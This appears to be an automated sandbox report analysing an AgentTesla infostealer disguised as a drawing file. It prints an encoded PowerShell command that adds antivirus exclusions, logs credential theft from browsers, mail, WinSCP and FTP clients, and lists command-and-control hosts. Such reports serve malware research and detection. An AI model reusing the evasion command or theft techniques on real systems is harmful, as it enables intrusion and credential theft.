Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcahqaaqbuageaxabeaguacwbrahqabwbwafwanqa4adkanqa1acwaiabaae4amga1adgaoaa4aeeaiaajafuamgawadeamwagagqacgbhahcaaqbuagcalgbwagkazgauaguaeabladsaiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqahiabwbjaguacwbzacaaqwa6afwavqbzaguacgbzafwadabpag4ayqbcaeqazqbzagsadabvahaaxaa1adgaoqa1adualaagafoatgayaduaoaa4adgaqqagacmavqayadaamqazacaazabyageadwbpag4azwauahaaaqbmac4azqb4aguaowbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqwa6afwavqbzaguacgbzafwadabpag4ayqbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwacabhagcazqauaguaeabladsaiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqahiabwbjaguacwbzacaaqwa6afwavqbzaguacgbzafwadabpag4ayqbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwacabhagcazqauaguaeablaa==
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcahqaaqbuageaxabeaguacwbrahqabwbwafwanqa4adkanqa1acwaiabaae4amga1adgaoaa4aeeaiaajafuamgawadeamwagagqacgbhahcaaqbuagcalgbwagkazgauaguaeabladsaiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqahiabwbjaguacwbzacaaqwa6afwavqbzaguacgbzafwadabpag4ayqbcaeqazqbzagsadabvahaaxaa1adgaoqa1adualaagafoatgayaduaoaa4adgaqqagacmavqayadaamqazacaazabyageadwbpag4azwauahaaaqbmac4azqb4aguaowbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqwa6afwavqbzaguacgbzafwadabpag4ayqbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwacabhagcazqauaguaeabladsaiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqahiabwbjaguacwbzacaaqwa6afwavqbzaguacgbzafwadabpag4ayqbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwacabhagcazqauaguaeablaa==			Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Queries volume information: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Queries volume information: C:\Users\user\AppData\Roaming\page.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0000000B.00000002.1860164529.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2629909474.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 1816, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0000000B.00000002.1860164529.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2629909474.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 1816, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0000000B.00000002.1860164529.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2629909474.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 1816, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	121 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 Obfuscated Files or Information	Security Account Manager	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	22 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
58955, ZN25888A #U2013 drawing.pif.exe	24%	ReversingLabs
58955, ZN25888A #U2013 drawing.pif.exe	25%	Virustotal		Browse
58955, ZN25888A #U2013 drawing.pif.exe	100%	Avira	HEUR/AGEN.1309910
58955, ZN25888A #U2013 drawing.pif.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\page.exe	100%	Avira	HEUR/AGEN.1309910
C:\Users\user\AppData\Roaming\page.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\page.exe	24%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://hlag.cc/panel/uploads/Hbfki.wav	0%	Avira URL Cloud	safe
http://hlag.cc	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.iaa-airferight.com	46.175.148.58	true	false		high
hlag.cc	173.252.167.60	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://hlag.cc/panel/uploads/Hbfki.wav	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1657466713.0000000002698000.00000004.00000800.00020000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1913541697.0000000002B28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	InstallUtil.exe, 0000000B.00000002.1860164529.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000014.00000002.2629909474.00000000025DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000006.00000002.1570468687.0000000005011000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1932819109.0000000003C15000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.iaa-airferight.com	InstallUtil.exe, 0000000B.00000002.1860164529.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000014.00000002.2629909474.0000000002634000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hlag.cc	58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1657466713.0000000002651000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1913541697.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1657466713.0000000002651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1570468687.0000000005011000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1913541697.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
173.252.167.60	hlag.cc	United States		7381	SRS-6-Z-7381US	false
46.175.148.58	mail.iaa-airferight.com	Ukraine		56394	ASLAGIDKOM-NETUA	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591789
Start date and time:	2025-01-15 13:20:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	58955, ZN25888A #U2013 drawing.pif.exe renamed because original name is a hash value
Original Sample Name:	58955, ZN25888A drawing.pif.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@32/8@2/2
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 96% Number of executed functions: 445 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.253.45, 20.109.210.53, 23.206.229.209
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target page.exe, PID 3716 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7956 because it is empty
